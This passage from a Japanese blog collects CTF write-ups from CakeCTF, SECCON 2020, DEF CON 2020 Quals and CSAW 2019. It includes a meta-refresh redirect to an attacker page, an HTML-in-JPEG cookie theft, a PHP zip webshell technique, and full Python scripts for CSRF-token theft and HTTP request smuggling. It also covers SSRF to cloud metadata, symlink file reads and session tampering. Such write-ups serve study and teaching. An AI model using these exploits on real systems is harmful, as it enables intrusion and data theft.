r4ng3-0r4ng3-r4ng3}

Flagは次の通り。

CakeCTF{r4ng3-0r4ng3-r4ng3}

ジャンルはmiscとなっていたがweb感のある問題だった。

Kingtaker

問題文

Kingtaker is a short game about a sharply depressed king.

URLも与えられる。

問題の概要

与えられたURLにアクセスすると次のようなゲームを遊ぶことができる。決められた歩数内で障害物を動かしつつ、アイテムを取り切るというもの。歩数を消費し切るとゲームオーバーとなる。

f:id:iso0:20210829084741p:plainf:id:iso0:20210829084852p:plain

解き方

なんとなく開発者ツールのコンソールでglobalと打ってみたら次の結果が返ってきた。

> global
_5V1 {__3: 0, _n4: 11}

global._n4の値が残り歩数と一致しており、global._n4=10などとすると残り歩数を変更することができる(ただし初期の歩数以上に増やすとチート検知される)。これで無限に歩けるようになったのでゲームを進めていく。

するとどう頑張っても解けない面が出現する。global.__3についてはまだいじっていなかったのでこの値を1にすると即クリア状態になった。最後まで問題を解くとflagが表示される。

f:id:iso0:20210829085603p:plainf:id:iso0:20210829085636p:plainf:id:iso0:20210829085649p:plain

初手で何故かglobalについて気づいたので一瞬で解くことができた。

travelog & travelog again

問題文

travelogの問題文。CSP bypass系の香りがする。

I'll travel all over the world and make some blog posts here after the pandemic is over.
Just someone named CSP? is protecting us!

travelog againの問題文。

One more travel! :pleading_face:

どちらも問題のソースコードが与えられている。

問題の概要

記事の投稿と画像のアップロードができるサイトが与えられる。記事の表示画面ではXSS脆弱性があるが、記事表示画面などではCSPヘッダとして次の値が指定されている。

default-src 'none';script-src 'nonce-Mohk4Cjc0xQADMtptz8Oaw==' 'unsafe-inline';style-src 'nonce-Mohk4Cjc0xQADMtptz8Oaw==' https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/;frame-src https://www.google.com/recaptcha/ https://recaptcha.google.com/recaptcha/;img-src 'self';connect-src http: https:;base-uri 'self'

nonceが指定されているのでこの値がわからないとXSSは難しそう。

このサイトには管理者へ通報機能もあり、指定した記事のページを閲覧させることができる。与えられたコードを見るとtravelogではflagがクローラーのUser-Agentに入っており、travelog againではCookieに入れられていることがわかる。

page.setUserAgent(flag); // [!] steal this flag
await page.setCookie({
    "domain":"challenge:8080",
    "name":"flag",
    "value":flag,
    "sameSite":"Strict",
    "httpOnly":false,
    "secure":false
});

travelogの解き方

CSPでスクリプトやリソースなどの読み込みや実行は制限されていても、htmlのmeta要素でrefreshを指定すれば別のページにブラウザを遷移させることができる。

具体的には次の指定により指定したページにブラウザを遷移させることができる。webhook.siteなどで用意したページに遷移させることでUser-Agent、つまりflagを入手できる。

<meta http-equiv="refresh" content="0; URL={{遷移先}}>
User-Agent: CakeCTF{CSP_1s_n0t_4_s1lv3r_bull3t!_bang!_bang!}

ちなみにCTF中は(画像アップロード機能に引っ張られたせいで)これに気づかずtravelog againと同じ方法でtravelogも解いていた。

travelog againの解き方

travelog againではflagがcookieに入っているので外部サイトにアクセスさせるだけではflagが手に入らなくなっている。cookieを入手するにはtravelog againのサイト上でどうにかしてスクリプトを動かす必要がある。

色々いじっていると次のことがわかる。

  • アップロードした画像をダウンロードする際はCSPヘッダがつかない
  • アップロードした画像をダウンロードする際のContent-Typeはファイルの拡張子で決まる *1

    mimetype (Optional[str]) – The MIME type to send for the file. If not provided, it will try to detect it from the file name.

  • 画像をアップロードする際にimghdr.what()を使ってjpeg形式かどうかのチェックをする

imghdr.what()jpeg判定箇所は次の通り。List of file signatures - Wikipedia に書いてあるjpegマジックナンバーを頭にくっつけるだけで突破できる。

def test_jpeg(h, f):
    """JPEG data in JFIF or Exif format"""
    if h[6:10] in (b'JFIF', b'Exif'):
        return 'jpeg'

というわけで、次の手順でflagを入手できる。

  1. 先頭にjpegマジックナンバーをくっつけた、cookieを外部に送信するスクリプトを含む、htmlファイルをアップロードする。拡張子チェックがフロントエンド側であるが、ローカルプロキシなどでアップロードする際のファイル名の拡張子はhtmlにする。
  2. meta要素を使って1.でアップロードした画像に遷移する処理を記述した記事を投稿する。
  3. 2.で投稿した記事を管理者に通報機能で管理者に踏ませる
  4. flagが1.のスクリプトにより送られてくる
CakeCTF{I'll_n3v3r_trust_HTML:angry:}

ziperatops

問題文

Zip Listing as a Service
* The flag is written in somewhere on the root directory of the machine.

問題のソースコードも与えられる

問題の概要

zipファイルをアップロードすると中身のファイル名を表示してくれるシンプルなサービスが動いている。いくつかのチェック機構があり、zipファイル以外をアップロードすると警告が出る。

f:id:iso0:20210829204503p:plainf:id:iso0:20210829204924p:plain

下のような感じで複数のファイルをアップロードすることも可能。この場合、それぞれのzipファイルに含まれているファイル名が出力される。

POST / HTTP/1.1
Host: web.cakectf.com:8004
Content-Type: multipart/form-data; boundary=---------------------------351753080217864772623200829852
Content-Length: 711

-----------------------------351753080217864772623200829852
Content-Disposition: form-data; name="zipfile[]"; filename="a.zip"
Content-Type: application/zip

...
-----------------------------351753080217864772623200829852
Content-Disposition: form-data; name="zipfile[]"; filename="b.zip"
Content-Type: application/zip

...
-----------------------------351753080217864772623200829852--

内部の処理を見ていく。

アップロードしたファイルはランダムなディレクトリに一時格納される。ディレクトリ名は都度生成されるので推測することはできない。

$dname = sha1(uniqid());
@mkdir("temp/$dname");

アップロードしたファイルは次の処理でチェックされる。

/* Check the uploaded zip file */
$zip = new ZipArchive;
if ($zip->open($tmpfile) !== TRUE)
    return array($dname, "Invalid file format");

/* Check filename */
if (preg_match('/^[-_a-zA-Z0-9\.]+$/', $filename, $result) !== 1)
    return array($dname, "Invalid file name: $filename");

/* Detect hacking attempt (This is not necessary but just in case) */
if (strstr($filename, "..") !== FALSE)
    return array($dname, "Do not include '..' in file name");

/* Check extension */
if (preg_match('/^.+\.zip/', $filename, $result) !== 1)
    return array($dname, "Invalid extension (Only .zip is allowed)");

/* Move the files */
if (@move_uploaded_file($tmpfile, "temp/$dname/$filename") !== TRUE)
    return array($dname, "Failed to upload the file: $dname/$filename");

zipファイルとして開くことができるか、ファイル名に変な記号が入っていないか、ファイル名に.zipが含まれているかなどがチェックされる(.zipで終わる必要はない)。

チェックが通過したら、最後の処理としてアップロードされたファイルをtemp/$dname/$filenameに移動する処理がある。この処理に失敗するとエラーメッセージとして$dname/$filenameが出力される。

(エラーでもエラーでなくとも)処理が終了した際には、以下の処理によりファイルが削除される。

function cleanup($dname) {
    foreach (glob("temp/$dname/*") as $file) {
        @unlink($file);
    }
    @rmdir("temp/$dname");
}

解き方

flagはサーバーのローカルにあるのでLFIあるいはRCEができる必要がある。なんとなくRCEで解く雰囲気がするのでその方向で考えていく。

前述の通り、ファイルの移動に失敗するとファイルを移動先のディレクトリ名がわかる。めちゃくちゃ長いファイル名のファイルをアップロードするとエラーとなりディレクトリ名がリークする。

Error: Failed to upload the file: 25f6faca99b00e2392482d174c9dacd66f6f8c94/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.zip

複数のファイルを同時にアップロードでき、同時にアップロードしたファイルは同じディレクトリに移動されるので、移動に失敗しなかったファイルは上記のリークしたディレクトリに存在しているとわかる。

phpファイルをアップロードできればRCEができるが、同時にzipファイルとして開けないとエラーとなってしまう。そういうファイルはphpのコード自体をファイル名としたファイルを圧縮することで生成することができる。

$ touch "<?php phpinfo(); ?>"
$ zip info.zip "<?php phpinfo(); ?>"
00000000: 504b 0304 1400 0800 0800 7baf 1d53 0000  PK........{..S..
00000010: 0000 0000 0000 0000 0000 1300 2000 3c3f  ............ .<?
00000020: 7068 7020 7068 7069 6e66 6f28 293b 203f  php phpinfo(); ?
00000030: 3e55 540d 0007 cb84 2b61 cb84 2b61 cb84  >UT.....+a..+a..
00000040: 2b61 7578 0b00 0104 f501 0000 0414 0000  +aux............
00000050: 0003 0050 4b07 0800 0000 0002 0000 0000  ...PK...........
00000060: 0000 0050 4b01 0214 0314 0008 0008 007b  ...PK..........{
00000070: af1d 5300 0000 0002 0000 0000 0000 0013  ..S.............
00000080: 0020 0000 0000 0000 0000 00a4 8100 0000  . ..............
00000090: 003c 3f70 6870 2070 6870 696e 666f 2829  .<?php phpinfo()
000000a0: 3b20 3f3e 5554 0d00 07cb 842b 61cb 842b  ; ?>UT.....+a..+
000000b0: 61cb 842b 6175 780b 0001 04f5 0100 0004  a..+aux.........
000000c0: 1400 0000 504b 0506 0000 0000 0100 0100  ....PK..........
000000d0: 6100 0000 6300 0000 0000                 a...c.....

cleanupの処理でアップロードしたファイルは削除されてしまうがこの処理は回避することができる。削除するファイルはglob("temp/$dname/*")で取得しているが、この書き方だと隠しファイル(.から始まるファイル)は取得できない。

これらを踏まえると次の手順によりflagを入手することができる。

  1. web shell的な機能のあるphpのコードを含むzipファイルを生成する。都合により、このコードはここには掲載しない。
  2. Webサイトに2つのファイルをアップロードする。1つ目のファイルは1.で生成したファイル。ファイル名は.a.zip.phpのようなドットから始まるファイル名にする。2つ目のファイル名はめちゃくちゃ長いファイル名のzipファイルをアップロードする。
  3. エラーメッセージとして2.のファイルがアップロードされたディレクトリが判明する。
  4. 3.により判明したディレクトリ名を使ってアップロードしたphpファイルにアクセスする(/uploads/{{リークしたディレクトリ名}}/.a.zip.php)。
  5. flagが手に入る
CakeCTF{uNd3r5t4nd1Ng_4Nd_3xpl01t1Ng_f1l35y5t3m_cf1944}

感想

ほぼWebしか解いてないですが、良いCTFだったと思います。

SECCON 2020 OnlineCTF - Milk & Milk Revenge Writeup

今年も会社のチームでSECCON CTFに参加しました。MilkとMilk Revengeを同じ解き方でといたのでWiteupをかく。

チラッと他の人のwriteupを見たらCSPを使ってcsrf tokenの利用を防ぐっぽいことをしているっぽかったが、そういうことをせずに解けてしまった。

問題の概要としては以下の通り。

  • ユーザー登録と登録したユーザーでログインできるサイトが提供される
  • このサイトはログインすると自分にしか見れない秘密のメモ(note)を投稿することができる
  • サイトのadminしか見られない領域にflagが存在し、これを入手するのが目標

解き方

セッション管理

問題のソースコードが渡されるので見てみると、このWebサイトはPHPで動いているフロントエンドサーバーとDenoで動いているAPIサーバーで構成されているということがわかる。また、これらのサーバーの前にnginxがリバプロとして動いているということもわかる。さらに、「管理者に報告」機能がありadminに指定したURLヘアクセスさせることができることもわかる。

このサイトの特徴的な部分として、APIサーバーにおけるユーザー認証処理が挙げられる。

通常であればCookieのセッションキーからユーザーの認証状態を把握すると思うが、このAPIサーバーは例えばnoteの投稿時には以下の処理によりユーザー認証を行う。

  1. ユーザーが投稿ボタンを押下する
  2. ブラウザがAPIサーバーからcsrf tokenを取得する(この際、Cookieにはサーバーにより署名(正確にはHMAC-SHA256)されたユーザー名が含まれる)
  3. APIサーバーはCookieの署名を検証し、問題なければユーザー名に紐づいたcsrf tokenを発行する
  4. ブラウザは受け取ったcsrf tokenと投稿内容をAPIサーバーに送信する
  5. APIサーバーはcsrf tokenから紐づくユーザー名を取得し、投稿内容とユーザー名を紐付けてデータベース に保存する

上記からわかるように、adminに紐づくcsrf tokenを手に入れることさえできればCookieがなくともAPIサーバーにadminとして認識され、adminしか見られない領域にあるflagの入手が可能となる。

キャッシュ

nginx.confを見ると以下の設定により、APIサーバーからの200 OKの応答を1分間キャッシュするということがわかる。

     location / {
            proxy_pass http://api:8000;
            proxy_read_timeout 5s;
            proxy_cache one;
            proxy_cache_valid 200 1m;
        }

nginxのドキュメントModule ngx_http_proxy_moduleによるとキャッシュのキーは次の通りである。

proxy_cache_key $scheme$proxy_host$uri$is_args$args;

これを見るとcsrf tokenを取得するurl(https://milk-api.chal.seccon.jp/csrf-token)にアクセスすれば誰かのキャッシュされたcsrf tokenを取り放題のように思えるが実際にはブラウザがcsrf tokenを取得する際にはjQueryがクエリ文字列として_=12345678901234のような値を後ろにつけるので、この値がわからないとcsrf tokenを盗むことができない。逆にいうと、adminがcsrf tokenを取得した際のURLがクエリ文字列を含めてわかればcsrf tokenを入手し、adminとしてサイトの操作が可能となる。

_の固定方法

前述の通り、adminがcsrf tokenを取得する際の_の部分の値を知ることができたらadminとしてサイトの操作が可能となる。_の生成の大半はjQueryによってクライアントサイドで行われるが、唯一の例外としてnote.phpにおいてnote閲覧する際の処理がある。note.phpを見ると、リクエストのクエリ文字列の_csrf token取得の_として利用されることがわかる。

  <script src=https://milk-api.chal.seccon.jp/csrf-token?_=<?= htmlspecialchars(preg_replace('/\d/', '', $_GET['_'])) ?> defer></script>

ここで一旦、note閲覧時の処理を整理する。

  1. ユーザーがhttps://milk.chal.seccon.jp/notes/{NOTEID}にアクセスする
  2. nginxは内部的にリクエストをhttps://milk.chal.seccon.jp/note.php?id={NOTEID}&_={RAND}に書き換える(RANDはnginxにより生成される)
  3. フロントエンドサーバーは<script src=https://milk-api.chal.seccon.jp/csrf-token?_={RAND} defer></script>を含むhtmlを返す
  4. ブラウザはhttps://milk-api.chal.seccon.jp/csrf-token?_={RAND}からcsrf tokenを取得する
  5. ブラウザはcsrf tokenとURLに含まれるNOTEIDをAPIサーバーに送信する
  6. APIサーバーはcsrf tokenによってユーザーを識別し、noteの内容を返す

なお、2. の処理は次のnginx.confの設定によって行われる。

     location ~ ^/notes/(?<id>.+) {
            set_secure_random_lcalpha $res 32;
            try_files $uri /note.php?id=$id&_=$res;
        }

ここで2.のURLは内部リクエストの指定がないため、外部から直接アクセスすることができてしまう。つまり、例えばhttps://milk.chal.seccon.jp/note.php?id={NOTEID}&_=AAAAAAAAAAAAAAAのようなURLにアクセスすると、結果としてhttps://milk-api.chal.seccon.jp/csrf-token?_=AAAAAAAAAAAAAAAからcsrf tokenを取得するというように外部からcsrf token取得の際の_の値を操作することが可能となる。

adminのcsrf tokenの窃取

前述の方法を組み合わせることによりadminのcsrf tokenの窃取が可能となる。

具体的には、adminにhttps://milk.chal.seccon.jp/note.php?id={NOTEID}&_=AAAAAAAAAAAAAAAにアクセスさせればhttps://milk-api.chal.seccon.jp/csrf-token?_=AAAAAAAAAAAAAAAからcsrf tokenを取得したということがわかる。https://milk-api.chal.seccon.jp/csrf-token?_=AAAAAAAAAAAAAAAの内容はnginxに1分間キャッシュされるので、https://milk-api.chal.seccon.jp/csrf-token?_=AAAAAAAAAAAAAAAにアクセスすることによりadminのcsrf tokenが取得できる。

あとは取得したcsrf tokenを使ってhttps://milk-api.chal.seccon.jp/notes/flag?token={CSRF TOKEN}に即座にリクエストすればflagが手に入る。

実際に解いてみる

import requests

csrfkey = "long-random-string"

sess = requests.Session()
resp = sess.post(
    "https://milk.chal.seccon.jp/report",
    data={
        "url": f"https://milk.chal.seccon.jp/note.php?id=5f8194640060b4e000e5f735&_={csrfkey}"
    },
)
print(resp.text)

while True:
    resp = sess.get(f"https://milk-api.chal.seccon.jp/csrf-token?_={csrfkey}")
    print(resp.text)
    if "Referer header is not set" not in resp.text:
        token = resp.text[19:-2]
        print(token)
        break

resp = sess.get(
    f"https://milk-api.chal.seccon.jp/notes/flag?token={token}",
    headers={"Referer": "https://milk.chal.seccon.jp/"},
)
print(resp.text)

なお、csrf tokenは一度使われると無効になり、実際にadminがhttps://milk.chal.seccon.jp/note.php?id={NOTEID}&_=AAAAAAAAAAAAAAAcsrf tokenを取得した直後に使われることになるが、上記スクリプトではどうやらadminのリクエストよりも先にcsrf tokenを使えているようで問題なくflagを入手することができた。

SECCON{I_am_heavily_concerning_about_unintended_sols_so_I_dont_put_any_spoiler_here_but_anyway_congrats!}

Milk Revengeもリクエスト先のURLを変えれば同じスクリプトで解くことができた。

SECCON{Okay_there_was_actually_unintended_solution_as_I_intended_blahblah}

DEF CON CTF 2020 Quals Writeup - pooot

試行錯誤をものすごくした途中経過が書いてあるので解法を知りたい人は一番下までスクロールしてください。

問題の調査

問題文に書かれたURLにアクセスするといわゆるWeb-based Proxyサービス(一昔前だとCGIプロキシと呼ばれていた気もする)であることがわかる。このサイトを使うと、指定したURLにサーバーがアクセスしてくれ、その結果を返してくれる。またfeedback機能として、管理者にURLを送信する機能もある。ガチャガチャして分かったことをまとめると次の通り。

  • /sourceソースコードを見ることができる
  • コードを読むとPythonのrequestsで指定されたURLをGETし、htmlを少し編集し返すだけということがわかる
    • 取得するページはhttps://pooot.challenges.ooo/{Domain}/{Path}の形式で指定する
  • サーバーは、リクエストするURLのホスト部とそれを名前解決した結果が同じ場合はhttpとしてリクエストし、異なる場合はhttpsとしてリクエストする
  • リクエストするURLのホスト部が172.25.から始まる場合において、リクエスト元が172.25.0.11でない場合は処理を拒否する
    • リクエストヘッダにX-Forwarded-For: 172.25.0.11を指定することでこの制約をバイパスできる
  • /feedbackで管理者にURLを報告できる
    • 管理者は指定されてURLに対して、今回の問題のサービスを使ってアクセスする。この際、headless chromeでアクセスしてくれるのでhttps://pooot.challenges.ooo/をオリジンとしてJavaScriptを動かしたりすることができる。

ソースコードを保存し忘れたので、記憶を元に書いており微妙に違う部分があるかも)

解答の方針

問題を見て以下の2パターンを思いついた

  1. 今回のサービスはSSRFができる(というかSSRFをするためのサービス)ため、クラウドサービスのメタデータエンドポイント(169.254.169.254など)から情報を読み出して攻略する
  2. feedback機能で管理者のブラウザを操作して情報を窃取する

前者は現実にありそうな状況*1でWebだけではなく、クラウドサービスに関する知識も求められそうで非常に面白そうだし、後者もWeb-based Proxyサービスの特殊性(全てのサイトのオリジンが同じになるため、CookieやLocalStorage、パーミッションなどが共通となる)を悪用するというのはセキュリティの技術として面白そうだと思って、久しぶりに面白いWeb問なんじゃないかという予感がした。

1. の方針で試したこと

https://pooot.challenges.ooo/169.254.169.254にアクセスするとこのサーバーがGCPで動いていることがわかる。https://pooot.challenges.ooo/169.254.169.254/computeMetadata/v1beta1/instance/service-accounts/default/tokenからaccess_tokenを取得できる。与えられたscopeを見るとdevstorageのreadが(たぶん)付与されていることがわかる。また今回のサーバーがhackpack-ctf-2020(!?)というプロジェクトに属するということがわかる(使い回し?)。

GCPのdevstorageのread権限はCloud Storageのread権限なので、何か面白いオブジェクトがないか探してみる。まずこのaccess_tokenでアクセスできるバケットを調べるとctf2020-vm-imagesというバケットが見つかった。しかし中を覗いても空。何の情報も得られなかった。

今回のサービスはjob queueにRedisを使っているのでGCPのMemorystoreから何か情報が得られないか試行錯誤したり、Dockerで動いている可能性が高いと考え*2、GCRからaccess_tokenを使ってイメージを落とせないか試行錯誤するなど相当の時間を費やした。

2. の方針で試したこと

管理者が管理者用のページに今回のサービスを使ってアクセスしていた場合、管理者ページのオリジンもhttps://pooot.challenges.ooo/となるため何か痕跡が残っているのではないかと考えた。CookieやLocalStorage、SessionStorageなど情報が保存されそうな箇所の中身を、用意したサーバーに送信させるページを用意し管理者にアクセスさせた。しかしこれらの領域は全て空だった。

今回のスコアサーバーはZoomを激しくインスパイアしたものだったので、実は管理者のブラウザにビデオカメラが接続されていてそこにflagが映っているかもしれないと考えたが、カメラなどのデバイスは繋がっていないようだった。

(強引な)解法

172.25.から始まるIPアドレスに対してアクセス制限がかかっていることが気になり、172.25.0.0/24の80と8080番ポートをスキャンしてみることにした。具体的にはhttps://pooot.challenges.ooo/172.25.0.0などにアクセスしまくった。https://pooot.challenges.ooo/172.25.0.103:8080からhttps://pooot.challenges.ooo/の内容が返ってきたが、それ以外のIPアドレスからはアクセスの失敗の応答が返ってきた。ほとんどのIPアドレスでアクセス失敗の応答まで1秒ほどかかっていたが、いくつかのIPアドレスからは0.1秒程度でアクセス失敗の応答が返ってきたので、失敗の応答が早かったIPアドレスにはホストが存在していると考え、これらのIPアドレスに対して1 - 9999番ポートまでスキャンをした。

すると172.25.0.102:3000からflagを含む応答が返ってきた。

ちなみに172.25.0.112, 113, 114あたりでheadless chromeが動いているようで、タイミングによっては9222/TCPでheadless chromeデバッグ接続をすることができた。

きちんとした解法

チームのメンバーから、下記ページにある通り、Service Workerを使うとページを遷移した後でもリクエストを補足できることを利用してflagが書かれたURLを入手できるらしいと教えてもらった。なるほど。

medium.com

チームのメンバーからはこの問題の出典(といえばいいのか?)が下記の論文であるということも教えてもらった。

www.ndss-symposium.org

*1:例えば有名どころではShopifyの事例: https://hackerone.com/reports/341876

*2:Metadata endpointによるとサーバーのIPアドレスは10.x.x.xであるが、172.25.0.103:8080からpooot.challenges.oooの内容が返ってきた。つまりコンテナのIPアドレスは172.25.0.103。

DEF CON CTF 2020 Quals Writeup - uploooadit

今年もTeam EnuのメンバーとしてDEF CON CTFの予選に出てきました。uploooaditとpoootを解いたので久しぶりにwriteupを書いていく。

問題の調査

問題として問題サーバーのURLとサーバーで動いているソースコードが2つ与えられる。

https://github.com/o-o-overflow/dc2020q-uploooadit/blob/master/app.py

https://github.com/o-o-overflow/dc2020q-uploooadit/blob/master/store.py

与えられたコードを読むと、このサーバーには2つの機能があることがわかる。

  • ファイル保存機能: /files/にファイルをPOSTするとファイルを保存できる。このとき、リクエストヘッダに指定したX-guidをキーとして保存される。
  • ファイル読み出し機能: /files/<guid>からファイルをGETできる。

2つのソースコードを読む限り、このWebアプリには脆弱性があるようには見えない。

サーバーにリクエストを投げてみるとレスポンスに以下の情報が含まれていることに気づく。

Server: gunicorn/20.0.0
Via: haproxy

Webアプリに脆弱性がないとなるとより低いレイヤー(つまりミドルウェア)での攻撃である可能性があると考え、HTTP request smuggling*1関連の可能性があると思った。さらにGunicorn 20.0.1のChangelogに次の一文があるのを見つけ、request smugglingを使う蓋然性がかなり高いと感じた。

fixed chunked encoding support to prevent any request smuggling

HTTP request smuggling

HAProxyとGunicornの組み合わせでrequest smugglingをググった結果、次のページが見つかった。

nathandavison.com

一言で言うと、この問題は特定のバージョンのHAProxyとGunicornの組み合わせた場合、それぞれのサーバーのリクエストの解釈の方法の違いからrequest smugglingを発生させ、他の人のリクエストを操作できてしまう。というもの。

具体的には[ブラウザ] -> [HAProxy] -> [Gunicorn]という構成において、攻撃者が次のようなリクエストを行うとする。

POST / HTTP/1.1
Host: 127.0.0.1
Content-Length: 43
Transfer-Encoding: [\x0b]chunked

1
Z
0

GET /foobar HTTP/1.1
X-Foo: AAA

するとHAProxyは(本来ならばTransfer-Encodingを優先すべきだが\x0bという文字が含まれることによりリクエストがchunkedであると解釈できず)Content-Length: 43のリクエストとして解釈する。また、攻撃者のリクエストの直後に被害者が次のようなリクエストを行うとする。

GET / HTTP/1.1
Host: 127.0.0.1

するとバックエンドのGunicornには、コネクションが使いまわされている場合、次のリクエストが送信されることになる。

POST / HTTP/1.1
Host: 127.0.0.1
Content-Length: 43
Transfer-Encoding: [\x0b]chunked

1
Z
0

GET /foobar HTTP/1.1
X-Foo: AAAGET / HTTP/1.1
Host: 127.0.0.1

Gunicornは最初のリクエストをTransfer-Encoding: chunkedとして解釈するため、2つのリクエストはそれぞれ次のように解釈されることになる。

POST / HTTP/1.1
Host: 127.0.0.1
Content-Length: 43
Transfer-Encoding: [\x0b]chunked

1
Z
0
GET /foobar HTTP/1.1
X-Foo: AAAGET / HTTP/1.1
Host: 127.0.0.1

被害者は本来/に対してリクエストをしたかったのに/foobarに対してリクエストをしたことになっている。

解法

request smugglingを使うことにより、他人にリクエストを操作できることが分かった。これにより、今回の問題においては他人のリクエストをサーバーにファイルとして保存させることができる。これを読み出すことで他人のリクエスト内容を覗き見ることができる。botか何かが定期的にflagを書き込んでいると仮定して次のスクリプトを回し続けることで https://uploooadit.oooverflow.io/files/00000000-0000-0000-0005-00000000f1a8にリクエストが保存されるので、この内容を監視することでflagを入手することができた。

import socket
import ssl
import timeout_decorator
 
@timeout_decorator.timeout(0.7)
def main():
   HOST = "uploooadit.oooverflow.io"
   PORT = 443
 
   sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   sock.setblocking(1)
   sock.connect((HOST, PORT))
 
   context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)
   context.verify_mode = ssl.CERT_NONE
 
   if ssl.HAS_SNI:
       secure_sock = context.wrap_socket(sock, server_side=False, server_hostname=HOST)
   else:
       secure_sock = context.wrap_socket(sock, server_side=False)
 
 
   req = """POST /files/ HTTP/1.1
Host: uploooadit.oooverflow.io
Content-Type: text/plain
X-guid: 00000000-0000-0000-0003-00000000f1a8
Content-Length: 162
Transfer-Encoding: \x0cchunked
 
1
A
0
 
POST /files/ HTTP/1.1
Host: uploooadit.oooverflow.io
Content-Type: text/plain
X-guid: 00000000-0000-0000-0005-00000000f1a8
Content-Length: 386
 
a"""
 
   print(req.replace("\n", "\r\n").encode())
   secure_sock.write(req.replace("\n", "\r\n").encode())
   print(secure_sock.read(1024).decode())
 
   secure_sock.close()
   sock.close()
 
if __name__ == "__main__":
   main()

書き込まれたファイル:

aPOST /files/ HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: invoker
Accept-Encoding: gzip, deflate
Accept: */*
Content-Type: text/plain
X-guid: 15db6493-44b5-4c9e-887b-82e639a25900
Content-Length: 152
X-Forwarded-For: 127.0.0.1

Congratulations!
OOO{That girl thinks she's the queen of the neighborhood/She's got the hottest trike in town/That girl, she holds her head up so high}

ちなみにContent-Length: 386は小さすぎても大きすぎてもダメなので小さい値から徐々に上げていくことでflagを全て読み出すことができる(大きすぎるとリクエストが失敗してファイルに何も書き込まれない)。

その他

問題のソースコードと作者による解説動画が公開されている(作者の想定通りの解法だった模様)。

GitHub - o-o-overflow/dc2020q-uploooadit: HTTP Desync Attack

*1:この記事が非常に分かりやすい: https://portswigger.net/web-security/request-smuggling

CSAW CTF 2019 Qualification Writeup - Secure File Storage (web 300)

問題の概要

ユーザーの作成、ログイン、ファイルのアップロードの機能があるWebサイトが与えられる。アップロードしたファイルを見る画面は見当たらない。

f:id:iso0:20190916170549p:plainf:id:iso0:20190916170552p:plain

問題のヒントとして管理者がWebサイトに頻繁にアクセスしてきていることが付け加えられた。多分この情報がなかったらこの問題を解くことはできなかった。

HINT: The admin checks the site frequently!

調査

ファイルをアップロードするページには次のようなJavaScriptが書かれている。

if (localStorage.encryptSecret === undefined) {
    var secret = new Uint8Array(32);
    window.crypto.getRandomValues(secret);
    localStorage.encryptSecret = btoa(String.fromCharCode.apply(null, secret));
}

$("#uploadForm").submit(function(e) {
    e.preventDefault();
    var f = $("#file")[0].files[0];
    if (!f) {
        alert("You must select a file!");
    } else {
        var fr = new FileReader();
        var fn = f.name;
        fr.onload = function(file) {
            var ciphertext = CryptoJS.AES.encrypt(fr.result, atob(localStorage.encryptSecret)).toString();
            $.post({
                url: "/api/v1/file/edit",
                data: {path: fn, content: btoa(ciphertext)}
            }).done(function() {
                location.reload();
            });
        };
        fr.readAsText(f);
    }
});

具体的には次のような処理が書かれている。

  • ローカルストレージから鍵を読み込む(ただし、鍵がなければ生成してローカルストレージに保存する)
  • ファイルを暗号化し、/api/v1/file/editというエンドポイントにpath=<file name>&content=<encrypted data>をPOSTする

editがあるなら読み込む処理もあるはずだと色々試していると、/api/v1/file/readpath=<file name>をPOSTするとeditで書き込んだコンテンツを取得することができた。任意のファイルを読めないか、ディレクトリトラバーサル的なことを色々試してみたがどうやらここに脆弱性はなさそうだった(書き込みも同様)。

readエンドポイントの存在はどこにも書かれていないので、この問題はある程度の推測とブルートフォースを要求される問題なんだと考えて、gobuster*1にdirectory-list-2.3-big.txtを読み込ませて他のエンドポイントを探った。

見つかったパスは次の通り。

  • /login
  • /admin
  • /register
  • /api/v1/file/edit
  • /api/v1/file/read
  • /api/v1/file/delete
  • /api/v1/file/list
  • /api/v1/file/symlink

/adminにアクセスすると権限がないと言われ、アクセスができない。また、/api/v1/file/listも同様に権限がないと言われる。

{"status":"error","error":"You are not authorized to perform this action"}

任意ファイルの読み出し

ここで注目したいのが/api/v1/file/symlinkである。path=<from>&target=<to>をPOSTするとtargetで指定したパスへのシンボリックリンクを作成できるようだが、targetに制限はかけられていなかった。これを利用することでサーバー上の任意のファイルを読み込めるようになる。例えばpath=root&target=../../../../../../../..//api/v1/file/symlinkにPOSTし、path=root/var/www/html/index.php/api/v1/file/readにPOSTすることでWebアプリのソースコードを読むことができる。

セッションファイルの改竄

Webアプリのソースコードを読むと、権限はセッションファイルに保存されていることがわかる(ログイン時にデータベースから権限を読み込みセッションに保存している)。PHPのセッションファイルは/tmp/sess_<PHPSESSID>に保存されており、自身のセッションファイルを読み込むと次のような情報が保存されていた。

current_user|O:4:"User":4:{s:8:"username";s:6:"miotas";s:8:"password";s:60:"$2y$10$ll0vW.MpPMt.rU.zAEVvfu/PCHksYhVTTcVllialUoDGS0VWHJNxG";s:5:"privs";i:3;s:2:"id";i:234;}

ユーザーの権限はprivsのビットとして表現されており、全ての権限を有するためには15を指定すれば良い(なんか競技中はprivsがstringsだった気がするが、今見たらintegerになっている?)。

current_user|O:4:"User":4:{s:8:"username";s:6:"miotas";s:8:"password";s:60:"$2y$10$ll0vW.MpPMt.rU.zAEVvfu/PCHksYhVTTcVllialUoDGS0VWHJNxG";s:5:"privs";i:15;s:2:"id";i:234;}

この状態で/adminにアクセスすると管理者画面っぽい画面が表示され、管理者になれたことがわかる。

f:id:iso0:20190916174552p:plain

flagの読み出し

ソースコードからユーザーが保存したデータは/tmp/user_data/<user id>に保存されることがわかる。/api/v1/file/listエンドポイントを使って調べるとflagは/tmp/user_data/1/flag.txtに保存されていることがわかる。

flag.txtの内容は次の通り。

U2FsdGVkX18vg7gzzc/Q2XG2O5vpgFvBvX7nv4mLxfsuKQxvSrMjHu11kDPfUIYVtJ9b5ohVP7olboQV5MDOjQ==

flag.txtは暗号化されていることから、前述のアップロードページから暗号化されてアップロードされたと推測できる。

